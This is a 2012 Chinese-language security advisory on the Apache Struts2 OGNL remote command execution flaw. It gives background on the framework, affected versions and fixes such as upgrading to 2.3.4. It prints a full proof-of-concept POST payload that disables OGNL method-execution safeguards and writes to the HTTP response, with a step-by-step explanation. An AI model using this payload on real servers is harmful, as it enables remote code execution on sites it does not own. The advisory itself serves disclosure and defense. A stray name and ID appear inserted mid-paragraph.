当前位置: 安全纵横 > 安全公告

Apache Struts2远程命令执行漏洞呈爆发趋势

来源:安恒信息 日期:2012-7

近日,安恒信息安全小组发现Apache Struts2导致大量使用此框架的网站沦陷,Apache Struts2 框架是在2010年7月14日被发现存在一个严重命令执行漏洞,但随之出现了防范技术,最近随着struts2带回显功能的POC被公布,出现大量的利用工具,并导致大量使用此框架的网站沦陷,并呈扩散趋势。

我们先来了解一下Apache Struts2,Struts2是在struts 和WebWork的技术基础上进行了合并后的全新框架。其全新的Struts 2的体系结构与Struts 1的体系结构的差别巨大。李云海 土豆(6336112); Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与Servlet API完全脱离开,所以Struts 2可以理解为WebWork的更新产品.

2010年期间Struts2爆发了一远程命令执行漏洞,曾经各种版本的漏洞利用工具让CNVD郁闷不已.

 

一.漏洞细节

以POST的方式提交绕过对输入参数的部分过滤。

('\43_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\43context[\'xwork.MethodAccessor.den

yMethodExecution\']\75false')(d))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EM

PTY_SET')(c))&(asdf)(('\43rp\75@org.apache.struts2.ServletActionContext@getResponse()')(c))&(fgd)(('\43rp.ge

tWriter().print("dbappsecurity")')(d)) (grgr)(('\43rp.getWriter().close()')(d))=1

\75 (=的8进制)\40(空格的8进制)ongl语句中执行的参数不允许出现空格。当然包括其他老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。

这样上面就是

1.设置上下文denyMethodExecution=false 运行方法执行

2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)
设置外部拦截器为空

3.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据

4.myout.getWriter().println("dbappsecurity") ;把response的数据打印到屏幕上。

 

二.Struts2漏洞目前受到影响的系统包括:

1.OpenSymphony XWork < 2.2.0

2.Apache Group Struts < 2.2.0

 

三.Struts2漏洞修复方案:

1.下载最新的版本2.3.4:http://struts.apache.org/download.cgi#struts234

2.或者修改对应jar中的ongl处理逻辑,然后编译打包替换旧的文件。

3.可使用安恒信息扫描器检测漏洞,运用安恒信息waf防护漏洞,安全点就只保留字母数字,其它的全部删除即可。